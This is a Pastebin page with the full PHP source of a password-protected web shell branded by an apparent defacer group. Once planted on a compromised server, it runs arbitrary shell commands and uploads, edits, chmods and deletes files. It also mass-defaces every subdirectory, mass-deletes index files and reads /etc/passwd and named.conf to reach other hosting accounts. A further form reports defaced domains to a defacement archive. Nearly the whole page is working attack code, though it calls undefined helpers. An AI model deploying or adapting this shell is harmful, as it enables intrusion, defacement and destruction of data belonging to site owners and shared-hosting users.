Advertisement
Guest User

mini shell

a guest
Jul 11th, 2018
3,458
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 20.69 KB | None | 0 0
  1. <?php
  2. @session_start();
  3. @set_time_limit(0);
  4.  
  5.  
  6. @$pass = $_POST['pass'];
  7. $chk_login = true;
  8. $username = "fajargans19";
  9. $password = "fjr19";
  10.  
  11.  
  12. if($pass == $password)
  13. {
  14. $_SESSION['nst'] = "$pass";
  15. }
  16.  
  17. if($chk_login == true)
  18. {
  19. if(!isset($_SESSION['nst']) or $_SESSION['nst'] != $password)
  20. {
  21. die("
  22. <title>CR4ZY 3RR0R M!N! 5H311</title>
  23. <center><font face= audiowide size=8><font color=yellow>[<font color=gold>#] STA<font color=yellow>MPED BY <font color=gold>./C<font color=yellow>E.19 [<font color=gold>#]<br><br>
  24. <center><body bgcolor=black><center><br>
  25. <table border=0 cellpadding=0 cellspacing=0 width=100% height=100%><br><br>
  26. <table width=100 bgcolor=black border=6 bordercolor=lime><tr><td>
  27. <font size=1 face=lobster><center>
  28. <b></font></a></b>
  29. </center>
  30. <form method=post>
  31. <font size=1 color=cyan><strong><br><center>-=[ ./CE.19 MINI SHELL ]=-
  32. </center></strong><br> <font color=yellow><marquee direction=right scrollamount=100><font color=gold>_________</font><font color=yellow>_________</font><font color=gold>______</font> <br></marquee><br><br>
  33. <input type=password name=pass size=30>
  34. </form><br><br>
  35. <b><font color=white>YOUR IP</b> ".$_SERVER["REMOTE_ADDR"]."
  36. <font color=yellow><marquee scrollamount=100><font color=gold>_________</font><font color=yellow>_________</font><font color=gold>______</font> <br>
  37. </td></tr></table>
  38. </td></tr></table><br><font color=white style='text-shadow: 0 0 20px red, 0 0 5px red, 0 0 7px red, 0 0 4px red; font-weight:bold: red;font-size:20px'><br><i>./CE.19 &copy; 2018</font>
  39. ");
  40. }
  41. }
  42.  
  43.  
  44. set_time_limit(0);
  45. error_reporting(0);
  46.  
  47. if(get_magic_quotes_gpc()){
  48. foreach($_POST as $key=>$value){
  49. $_POST[$key] = stripslashes($value);
  50. }
  51. }
  52. echo '<!DOCTYPE HTML>
  53. <HTML>
  54. <HEAD>
  55. <link href="https://fonts.googleapis.com/css?family=Audiowide|Space+Mono" rel="stylesheet">
  56. <link href="https://fonts.googleapis.com/css?family=Jolly+Lodger" rel="stylesheet" type="text/css">
  57. <title>./CE.19 S!MPL3 SH3LL</title>
  58. <style>
  59. body{
  60. font-family: "Rye", jolly lodger;
  61. background-image: url("https://www.imageupload.co.uk/images/2018/06/04/markntod.png");
  62. color:White; background-attachment:fixed; background-repeat:no-repeat; background-position:center; background-color:transparan; -webkit-background-size: 90% 100%; } #content tr:hover{
  63. text-shadow:0px 0px 1px #000000;
  64. }
  65. #content tr:hover{
  66. background-color: cyan;
  67. text-shadow:0px 0px 10px white;
  68. }
  69. #content .first{
  70. background-color: lime;
  71. }
  72. #content .first:hover{
  73. background-color: red;
  74. text-shadow:0px 0px 1px #FF4C00;
  75. }
  76. table{
  77. border: 6px #ffffff dotted;
  78. }
  79. H1{
  80. font-family: "Rancho", jolly lodger;
  81. }
  82. a{
  83. color: #ffffff;
  84. text-decoration: none;
  85. }
  86. a:hover{
  87. color: #fff;
  88. text-shadow:0px 0px 10px #ffffff;
  89. }
  90. input,select,textarea{
  91. border: 2px #FCFF00 solid;
  92. -moz-border-radius: 5px;
  93. -webkit-border-radius:5px;
  94. border-radius:5px;
  95. }
  96. </style>
  97. </HEAD>
  98. <BODY>
  99. <center><br><font size=20><font color=red><center>-=[<font color=cyan>M!N! </font><font color=lime>CR4ZY</font><font color=yellow> 5H311</font><font color=red>]=-</font></center></H1></font></font><br>
  100. <body class=" pace-done" bgcolor="black"><div class="pace pace-inactive"><div class="pace-progress" data-progress-text="100%" data-progress="99" style="width: 100%;">
  101. <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  102. <tr><td><font color=lime><i>
  103. Current Path : ';
  104. if(isset($_GET['path'])){
  105. $path = $_GET['path'];
  106. }else{
  107. $path = getcwd();
  108. }
  109. $path = str_replace('\\','/',$path);
  110. $paths = explode('/',$path);
  111.  
  112. foreach($paths as $id=>$pat){
  113. if($pat == '' && $id == 0){
  114. $a = true;
  115. echo '<a href="?path=/">/</a>';
  116. continue;
  117. }
  118. if($pat == '') continue;
  119. echo '<a href="?path=';
  120. for($i=0;$i<=$id;$i++){
  121. echo "$paths[$i]";
  122. if($i != $id) echo "/";
  123. }
  124. echo '">'.$pat.'</a>/';
  125. }
  126. echo '</td></tr><tr><td>';
  127. if (isset($_GET['fajargansMass'])) {
  128. echo "<center><form method='POST'><br>Dir : <input type='text' name='base_dir' size='50' value='".getcwd ()."'><br><br>File Name : <input type='text' name='file_name' value='fajargans.php'><br><br><br>Your Script : <br><textarea style='width: 300px; height: 100px;' name='index'>Owned By ./CE.19 (fajar gans wuzz here!!)</textarea><br><input type='submit' value='Submit'></form></center><br><br>";
  129. }
  130. if (isset ($_POST['base_dir']))
  131. {
  132. if (!file_exists ($_POST['base_dir']))
  133. die ($_POST['base_dir']." Not Found !<br>");
  134.  
  135. if (!is_dir ($_POST['base_dir']))
  136. die ($_POST['base_dir']." Is Not A Directory !<br>");
  137.  
  138. @chdir ($_POST['base_dir']) or die ("Cannot Open Directory");
  139.  
  140. $files = @scandir ($_POST['base_dir']) or die ("oohhh shet<br>");
  141.  
  142. foreach ($files as $file):
  143. if ($file != "." && $file != ".." && @filetype ($file) == "dir")
  144. {
  145. $index = getcwd ()."/".$file."/".$_POST['file_name'];
  146. if (file_put_contents ($index, $_POST['index']))
  147. echo "$index&nbsp&nbsp&nbsp&nbsp<span style='color: lime'>Done</span><br>";
  148. }
  149. endforeach;
  150. }if (isset($_GET['bunuh'])) {
  151. if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
  152. die('<center><br><center><h2>Shell Telah Dihapus</h2><br>Terimakasih Atas Perjuanganmu Wahai Kawan Ku</center></center>');
  153. else
  154. echo '<center>unlink failed!</center>';
  155. }
  156. elseif($_GET['do'] == 'fjr19gns') {
  157. echo "<center><form method='post'>
  158. <u>Defacer</u>: <br>
  159. <input type='text' name='notiper' size='50' value='./CE.19'><br>
  160. <u>Team</u>: <br>
  161. <input type='text' name='tim' size='50' value='Garuda Tersakti 72'><br>
  162. <u>Domains</u>: <br>
  163. <textarea style='width: 450px; height: 150px;' name='sites'></textarea><br>
  164. <input type='submit' name='go' value='Submit' style='width: 450px;'>
  165. </form>";
  166. $site = explode("\r\n", $_POST['sites']);
  167. $go = $_POST['go'];
  168. $notiper = $_POST['notiper'];
  169. $tim = $_POST['tim'];
  170. if($go) {
  171. foreach($site as $sites) {
  172. $zh = $sites;
  173. $form_url = "https://defacer.id/archive/notify";
  174. $data_to_post = array();
  175. $data_to_post['attacker'] = "$notiper";
  176. $data_to_post['team'] = "$tim";
  177. $data_to_post['poc'] = 'SQL Injection';
  178. $data_to_post['url'] = "$zh";
  179. $curl = curl_init();
  180. curl_setopt($curl,CURLOPT_URL, $form_url);
  181. curl_setopt($curl,CURLOPT_POST, sizeof($data_to_post));
  182. curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"); //msnbot/1.0 (+http://search.msn.com/msnbot.htm)
  183. curl_setopt($curl,CURLOPT_POSTFIELDS, $data_to_post);
  184. curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  185. curl_setopt($curl, CURLOPT_REFERER, 'https://defacer.id/notify.html');
  186. $result = curl_exec($curl);
  187. echo $result;
  188. curl_close($curl);
  189. echo "<br>";
  190. }
  191. }
  192. }
  193. elseif($_GET['do'] == 'crazyxerror') {
  194. echo '<center>./CE.19 SHELL<hr>Recoded &copy;<font color=aqua>./CE.19 A.k.A Fajar Iwan <hr><br> Ketahuilah Bahwa Sekor Kucing Pun Bisa Menjadi Singa Yang Ganas <hr>';
  195. } elseif($_GET['do'] == 'fjrgns19') {
  196. function hapus_massal($dir,$namafile) {
  197. if(is_writable($dir)) {
  198. $dira = scandir($dir);
  199. foreach($dira as $dirb) {
  200. $dirc = "$dir/$dirb";
  201. $lokasi = $dirc.'/'.$namafile;
  202. if($dirb === '.') {
  203. if(file_exists("$dir/$namafile")) {
  204. unlink("$dir/$namafile");
  205. }
  206. } elseif($dirb === '..') {
  207. if(file_exists("".dirname($dir)."/$namafile")) {
  208. unlink("".dirname($dir)."/$namafile");
  209. }
  210. } else {
  211. if(is_dir($dirc)) {
  212. if(is_writable($dirc)) {
  213. if(file_exists($lokasi)) {
  214. echo "[<font color=lime>DELETED</font>] $lokasi<br>";
  215. unlink($lokasi);
  216. $idx = hapus_massal($dirc,$namafile);
  217. }
  218. }
  219. }
  220. }
  221. }
  222. }
  223. }
  224. if($_POST['start']) {
  225. echo "<div style='margin: 5px auto; padding: 5px'>";
  226. hapus_massal($_POST['d_dir'], $_POST['d_file']);
  227. echo "</div>";
  228. } else {
  229. echo "<center>";
  230. echo "<form method='post'>
  231. <font style='text-decoration: underline;'>Folder:</font><br>
  232. <input type='text' name='d_dir' value='$path' style='width: 450px;' height='10'><br>
  233. <font style='text-decoration: underline;'>Filename:</font><br>
  234. <input type='text' name='d_file' value='index.php' style='width: 450px;' height='10'><br>
  235. <input type='submit' name='start' value='Mass Delete' style='width: 450px;'>
  236. </form></center>";
  237. }
  238. }if(isset($_GET['cegns'])) {
  239. echo "<i><form method='post'>
  240. <font color=aqua style='text-decoration: underline;'>".$user."@".gethostbyname($_SERVER['HTTP_HOST']).":~# </font>
  241. <input type='text' size='20' height='10' name='fjr'><input type='submit' name='do_fjr' value='>>'>
  242. </form>";
  243. if($_POST['do_fjr']) {
  244. echo "<pre>".exe($_POST['fjr'])."</pre>";
  245. }
  246. }if (isset($_GET['crazyJumping'])) {
  247. $i = 0;
  248. echo "<div class='margin: 5px auto;'>";
  249. if(preg_match("/hsphere/", $dir)) {
  250. $urls = explode("\r\n", $_POST['url']);
  251. if(isset($_POST['jump'])) {
  252. echo "<pre>";
  253. foreach($urls as $url) {
  254. $url = str_replace(array("http://","www."), "", strtolower($url));
  255. $etc = "/etc/passwd";
  256. $f = fopen($etc,"r");
  257. while($gets = fgets($f)) {
  258. $pecah = explode(":", $gets);
  259. $user = $pecah[0];
  260. $dir_user = "/hsphere/local/home/$user";
  261. if(is_dir($dir_user) === true) {
  262. $url_user = $dir_user."/".$url;
  263. if(is_readable($url_user)) {
  264. $i++;
  265. $jrw = "[<font color=#18BC9C>R</font>] <a href='?dir=$url_user'><font color=#18BC9C>$url_user</font></a>";
  266. if(is_writable($url_user)) {
  267. $jrw = "[<font color=#18BC9C>RW</font>] <a href='?dir=$url_user'><font color=#18BC9C>$url_user</font></a>";
  268. }
  269. echo $jrw."<br>";
  270. }
  271. }
  272. }
  273. }
  274. if($i == 0) {
  275. } else {
  276. echo "<br>Total ada ".$i." Kamar di ".$ip;
  277. }
  278. echo "</pre>";
  279. } else {
  280. echo '<center>
  281. <form method="post">
  282. List Domains: <br>
  283. <textarea name="url" style="width: 500px; height: 250px;">';
  284. $fp = fopen("/hsphere/local/config/httpd/sites/sites.txt","r");
  285. while($getss = fgets($fp)) {
  286. echo $getss;
  287. }
  288. echo '</textarea><br>
  289. <input type="submit" value="Jumping" name="jump" class="btn btn-success btn-sm" style="width: 500px; height: 25px;">
  290. </form></center>';
  291. }
  292. } elseif(preg_match("/vhosts/", $dir)) {
  293. $urls = explode("\r\n", $_POST['url']);
  294. if(isset($_POST['jump'])) {
  295. echo "<pre>";
  296. foreach($urls as $url) {
  297. $web_vh = "/var/www/vhosts/$url/httpdocs";
  298. if(is_dir($web_vh) === true) {
  299. if(is_readable($web_vh)) {
  300. $i++;
  301. $jrw = "[<font color=#18BC9C>R</font>] <a href='?dir=$web_vh'><font color=#18BC9C>$web_vh</font></a>";
  302. if(is_writable($web_vh)) {
  303. $jrw = "[<font color=#18BC9C>RW</font>] <a href='?dir=$web_vh'><font color=#18BC9C>$web_vh</font></a>";
  304. }
  305. echo $jrw."<br>";
  306. }
  307. }
  308. }
  309. if($i == 0) {
  310. } else {
  311. echo "<br>Total ada ".$i." Kamar di ".$ip;
  312. }
  313. echo "</pre>";
  314. } else {
  315. echo '<center>
  316. <form method="post">
  317. List Domains: <br>
  318. <textarea name="url" style="width: 500px; height: 250px;">';
  319. bing("ip:$ip");
  320. echo '</textarea><br>
  321. <input type="submit" value="Jumping" name="jump" style="width: 500px; height: 25px;">
  322. </form></center>';
  323. }
  324. } else {
  325. echo "<pre>";
  326. $etc = fopen("/etc/passwd", "r") or die("<font color=red>Can't read /etc/passwd</font>");
  327. while($passwd = fgets($etc)) {
  328. if($passwd == '' || !$etc) {
  329. echo "<font color=red>Can't read /etc/passwd</font>";
  330. } else {
  331. preg_match_all('/(.*?):x:/', $passwd, $user_jumping);
  332. foreach($user_jumping[1] as $user_idx_jump) {
  333. $user_jumping_dir = "/home/$user_idx_jump/public_html";
  334. if(is_readable($user_jumping_dir)) {
  335. $i++;
  336. $jrw = "[<font color=#18BC9C>R</font>] <a href='?dir=$user_jumping_dir'><font color=#18BC9C>$user_jumping_dir</font></a>";
  337. if(is_writable($user_jumping_dir)) {
  338. $jrw = "[<font color=#18BC9C>RW</font>] <a href='?dir=$user_jumping_dir'><font color=#18BC9C>$user_jumping_dir</font></a>";
  339. }
  340. echo $jrw;
  341. if(function_exists('posix_getpwuid')) {
  342. $domain_jump = file_get_contents("/etc/named.conf");
  343. if($domain_jump == '') {
  344. echo " => ( <font color=red>gabisa ambil nama domain nya</font> )<br>";
  345. } else {
  346. preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);
  347. foreach($domains_jump[1] as $dj) {
  348. $user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
  349. $user_jumping_url = $user_jumping_url['name'];
  350. if($user_jumping_url == $user_idx_jump) {
  351. echo " => ( <u>$dj</u> )<br>";
  352. break;
  353. }
  354. }
  355. }
  356. } else {
  357. echo "<br>";
  358. }
  359. }
  360. }
  361. }
  362. }
  363. if($i == 0) {
  364. } else {
  365. echo "<br>Total ada ".$i." Kamar di ".$ip;
  366. }
  367. echo "</pre>";
  368. }
  369. echo "</div>";
  370. }if(isset($_FILES['file'])){
  371. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  372. echo '<font color="green">SUCCESS</font><br />';
  373. }else{
  374. echo '<font color="red">ERROR</font><br />';
  375. }
  376.  
  377. }
  378. echo '<i><font color=lime>'.php_uname().'<br> <b><font color=aqua>YOUR IP</b> '.$_SERVER['REMOTE_ADDR'].'</b><br>';
  379. echo '<i><font color=aqua>Recoded &copy; '.date('Y').' - <a><font color=yellow>./CE.19</font><center></a>';
  380. echo '<form enctype="multipart/form-data" method="POST"><hr>
  381. <marquee behavior=alternate scrollamount=20>YAKINLAH BAHWA SANG GARUDA MAMPU TERBANG TINGGI LAGI</marquee><hr> <br><input type="file" name="file" />
  382. <input type="submit" value="UPLOAD" />
  383. </form><hr><ul><center><br>
  384. <a href=?><input type="submit" value="HOME" /> </form>
  385. <a href=?fajargansMass><input type="submit" value="MASS DEFACE" /></form>
  386. <a href=?dir=$dir&do=fjrgns19><input type="submit" value="MASS DELETE" /></from><br><br>
  387. <a href=?cegns><input type="submit" value="COMMAND" /></from>
  388. <a href=?crazyJumping><input type="submit" value="JUMPING" /></form>
  389. <a href=?dir=$dir&do=crazyxerror><input type="submit" value="ABOUT" /></from>
  390. <a href=?dir=$dir&do=fjr19gns><input type="submit" value="DEFACER.ID" /></from>
  391. <a href=?bunuh><input type="submit" value="KILL" /></form></a></center>
  392. </td></tr>';
  393. if(isset($_GET['filesrc'])){
  394. echo "<tr><td>Current File : ";
  395. echo $_GET['filesrc'];
  396. echo '</tr></td></table><br />';
  397. echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
  398. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  399. echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  400. if($_POST['opt'] == 'chmod'){
  401. if(isset($_POST['perm'])){
  402. if(chmod($_POST['path'],$_POST['perm'])){
  403. echo '<font color="green">5UCC355</font><br />';
  404. }else{
  405. echo '<font color="red">3RR0R</font><br />';
  406. }
  407. }
  408. echo '<form method="POST">
  409. Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  410. <input type="hidden" name="path" value="'.$_POST['path'].'">
  411. <input type="hidden" name="opt" value="chmod">
  412. <input type="submit" value="Go" />
  413. </form>';
  414. }elseif($_POST['opt'] == 'rename'){
  415. if(isset($_POST['newname'])){
  416. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  417. echo '<font color="green">5UCC355</font><br />';
  418. }else{
  419. echo '<font color="red">3RR0R</font><br />';
  420. }
  421. $_POST['name'] = $_POST['newname'];
  422. }
  423. echo '<form method="POST">
  424. New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  425. <input type="hidden" name="path" value="'.$_POST['path'].'">
  426. <input type="hidden" name="opt" value="rename">
  427. <input type="submit" value="Go" />
  428. </form>';
  429. }elseif($_POST['opt'] == 'edit'){
  430. if(isset($_POST['src'])){
  431. $fp = fopen($_POST['path'],'w');
  432. if(fwrite($fp,$_POST['src'])){
  433. echo '<font color="green">DONE</font><br />';
  434. }else{
  435. echo '<font color="red">GAGAL</font><br />';
  436. }
  437. fclose($fp);
  438. }
  439. echo '<form method="POST">
  440. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  441. <input type="hidden" name="path" value="'.$_POST['path'].'">
  442. <input type="hidden" name="opt" value="edit">
  443. <input type="submit" value="Go" />
  444. </form>';
  445. }
  446. echo '</center>';
  447. }else{
  448. echo '</table><br /><center>';
  449. if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  450. if($_POST['type'] == 'dir'){
  451. if(rmdir($_POST['path'])){
  452. echo '<font color="green">DONE</font><br />';
  453. }else{
  454. echo '<font color="red">ERROR</font><br />';
  455. }
  456. }elseif($_POST['type'] == 'file'){
  457. if(unlink($_POST['path'])){
  458. echo '<font color="green">Delete File Done.</font><br />';
  459. }else{
  460. echo '<font color="red">Delete File Error.</font><br />';
  461. }
  462. }
  463. }
  464. echo '</center>';
  465. $scandir = scandir($path);
  466. echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  467. <tr class="first">
  468. <td><font color=black><center>Name</center></td>
  469. <td><font color=black><center>Size</center></td>
  470. <td><font color=black><center>Permissions</center></td>
  471. <td><font color=black><center>Options</center></td></font>
  472. </tr>';
  473.  
  474. foreach($scandir as $dir){
  475. if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
  476. echo "<tr>
  477. <td><a href=\"?path=$path/$dir\">$dir</a></td>
  478. <td><center>--</center></td>
  479. <td><center>";
  480. if(is_writable("$path/$dir")) echo '<font color="Blue">';
  481. elseif(!is_readable("$path/$dir")) echo '<font color="red">';
  482. echo perms("$path/$dir");
  483. if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
  484.  
  485. echo "</center></td>
  486. <td><center><form method=\"POST\" action=\"?option&path=$path\">
  487. <select name=\"opt\">
  488. <option value=\"selct\">Select</option>
  489. <option value=\"delete\">Delete</option>
  490. <option value=\"chmod\">Chmod</option>
  491. <option value=\"rename\">Rename</option>
  492. </select>
  493. <input type=\"hidden\" name=\"type\" value=\"dir\">
  494. <input type=\"hidden\" name=\"name\" value=\"$dir\">
  495. <input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
  496. <input type=\"submit\" value=\">>\" />
  497. </form></center></td>
  498. </tr>";
  499. }
  500. echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  501. foreach($scandir as $file){
  502. if(!is_file("$path/$file")) continue;
  503. $size = filesize("$path/$file")/1024;
  504. $size = round($size,3);
  505. if($size >= 1024){
  506. $size = round($size/1024,2).' MB';
  507. }else{
  508. $size = $size.' KB';
  509. }
  510.  
  511. echo "<tr>
  512. <td><a href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
  513. <td><center>".$size."</center></td>
  514. <td><center>";
  515. if(is_writable("$path/$file")) echo '<font color="Blue">';
  516. elseif(!is_readable("$path/$file")) echo '<font color="red">';
  517. echo perms("$path/$file");
  518. if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
  519. echo "</center></td>
  520. <td><center><form method=\"POST\" action=\"?option&path=$path\">
  521. <select name=\"opt\">
  522. <option value=\"select\">Select</option>
  523. <option value=\"delete\">Delete</option>
  524. <option value=\"chmod\">Chmod</option>
  525. <option value=\"rename\">Rename</option>
  526. <option value=\"edit\">Edit</option>
  527. </select>
  528. <input type=\"hidden\" name=\"type\" value=\"file\">
  529. <input type=\"hidden\" name=\"name\" value=\"$file\">
  530. <input type=\"hidden\" name=\"path\" value=\"$path/$file\">
  531. <input type=\"submit\" value=\">>\" />
  532. </form></center></td>
  533. </tr>";
  534. }
  535. echo '</table>
  536. </div>';
  537.  
  538.  
  539. }
  540. echo '<center><br><font color=lime>RECODED BY ./CE.19
  541. <br><td><center><font size=6><marquee scrollamount="100"><font color=green>______<font color=lime>______<font color=green>______</marquee><br><font color=red><font color=yellow>IM </font>HUNGRY , <font color=white>I WANT TO</font> <font color=lime>EAT YOUR</font><font color=cyan> BRAIN</font><marquee direction="right" scrollamount="100"><font color=gold>______<font color=yellow>______<font color=gold>______</marquee></font>
  542. </BODY><font color=red>
  543. </HTML>';
  544. function perms($file){
  545. $perms = fileperms($file);
  546.  
  547. if (($perms & 0xC000) == 0xC000) {
  548. // Socket
  549. $info = 's';
  550. } elseif (($perms & 0xA000) == 0xA000) {
  551. // Symbolic Link
  552. $info = 'l';
  553. } elseif (($perms & 0x8000) == 0x8000) {
  554. // Regular
  555. $info = '-';
  556. } elseif (($perms & 0x6000) == 0x6000) {
  557. // Block special
  558. $info = 'b';
  559. } elseif (($perms & 0x4000) == 0x4000) {
  560. // Directory
  561. $info = 'd';
  562. } elseif (($perms & 0x2000) == 0x2000) {
  563. // Character special
  564. $info = 'c';
  565. } elseif (($perms & 0x1000) == 0x1000) {
  566. // FIFO pipe
  567. $info = 'p';
  568. } else {
  569. // Unknown
  570. $info = 'u';
  571. }
  572.  
  573. // Owner
  574. $info .= (($perms & 0x0100) ? 'r' : '-');
  575. $info .= (($perms & 0x0080) ? 'w' : '-');
  576. $info .= (($perms & 0x0040) ?
  577. (($perms & 0x0800) ? 's' : 'x' ) :
  578. (($perms & 0x0800) ? 'S' : '-'));
  579.  
  580. // Group
  581. $info .= (($perms
  582. & 0x0020) ? 'r' : '-');
  583. $info .= (($perms & 0x0010) ? 'w' : '-');
  584. $info .= (($perms & 0x0008) ?
  585. (($perms & 0x0400) ? 's' : 'x' ) :
  586. (($perms & 0x0400) ? 'S' : '-'));
  587.  
  588. // World
  589. $info .= (($perms & 0x0004) ? 'r' : '-');
  590. $info .= (($perms & 0x0002) ? 'w' : '-');
  591. $info .= (($perms & 0x0001) ?
  592. (($perms & 0x0200) ? 't' : 'x' ) :
  593. (($perms & 0x0200) ? 'T' : '-'));
  594.  
  595. return $info;
  596. }
  597. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement